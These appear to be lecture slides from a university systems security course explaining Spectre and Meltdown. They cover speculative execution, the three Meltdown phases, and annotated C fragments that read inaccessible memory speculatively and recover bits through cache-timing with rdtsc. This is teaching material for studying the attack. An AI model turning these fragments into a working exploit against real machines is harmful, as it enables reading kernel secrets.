

Systems & Software Security COMSM0050 2020/2021





bristol.ac.uk

- Late 2017/early 2018
- Lots of discussion
- Can be fixed in the OS

- Spectre category of Attack
- Meltdown one instance
 - Speculative execution has proven problematic



- Late 2017/early 2018
- Lots of discussion
- Can be fixed in the OS
- Computer get slower ⊗
- Spectre category of Attack
- Meltdown one instance
 - Speculative execution has proven problematic



- Category of attack affect:
 - -all OSes
 - All hardware (at different degree)
- Hardware cannot be patched



- Category of attack affect:
 - -all OSes
 - All hardware (at different degree)
- Hardware cannot be patched
- Can be exploited via simple javascript



- Speculative execution
 - Try to guess what will be executed
 - If correct all good!
 - If wrong roll back!

- Speculative execution
 - Try to guess what will be executed
 - If correct all good!
 - If wrong roll back!
- CPU registers are rolled back...
- ... but not (always) the CPU cache

- Speculative execution
 - Try to guess what will be executed
 - If correct all good!
 - If wrong roll back!
- CPU registers are rolled back...
- ... but not (always) the CPU cache
- ... and authorization is checked at the end of the pipeline

bristol.ac.uk

- Speculative execution
 - Try to guess what will be executed
 - If correct all good!
 - If wrong roll back!
- CPU registers are rolled back...
- ... but not (always) the CPU cache
- ... and authorization is checked at the end of the pipeline

Attacker can get memory value he should not access in the CPU cache

Meltdown phases

- 1. Reading secret: inaccessible memory content chosen by an attacker is loaded into a register
- 2. **Transmit secret**: instruction access cache line based on the secret value
- 3. Receive secret: attacker use fetch and reload to determine the accessed cache line

Repeat to dump entire kernel memory

```
if (spec_cond) {
    unsigned char value = *(unsigned char *)ptr;
    unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
    maccess(&data[index2]);
}
```

```
if (spec_cond) {     Under attacker control, we want this branch
     to be speculatively executed
     unsigned char value = *(unsigned char *)ptr;
     unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
     maccess(&data[index2]);
}
```

```
if (spec_cond) {
    unsigned char value = *(unsigned char *)ptr;
    unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
    maccess(&data[index2]);
}

data under attacker control
```

```
if (spec_cond) {
          ptr address we don't have access to
          unsigned char value = *(unsigned char *)ptr;
          unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
          maccess(&data[index2]);
}
```

```
if (spec_cond) {
    unsigned char value = *(unsigned char *)ptr;
    unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
    maccess(&data[index2]);
    bit shift to access a bit of data
}
```

```
if (spec_cond) {
    unsigned char value = *(unsigned char *)ptr;
    unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
    maccess(&data[index2]);
    generate address from data value
```

```
if (spec_cond) {
    unsigned char value = *(unsigned char *)ptr;
    unsigned long index2 = (((value>>bit)&1)*0x100)+0x200;
    maccess(&data[index2]);
}
```

- char value = *secret_kernel_pointer
- mask bit you want to read
- calculate offset in data

addres	
0x100	
0x200	
0x300	

- char value = *secret_kernel_pointer
- mask bit you want to read
- calculate offset in data

IF 1

addres	
0x100	
0x200	
0x300	DATA

```
time = rdtsc();
maccess(&data[0x300]);
                                access time will depend if value
                                in cache or not.
delta3 = rdtsc() - time;
                                Cache side channel.
time = rdtsc();
maccess(&data[0x200]);
delta2 = rdtsc() - time;
```

bristolacuk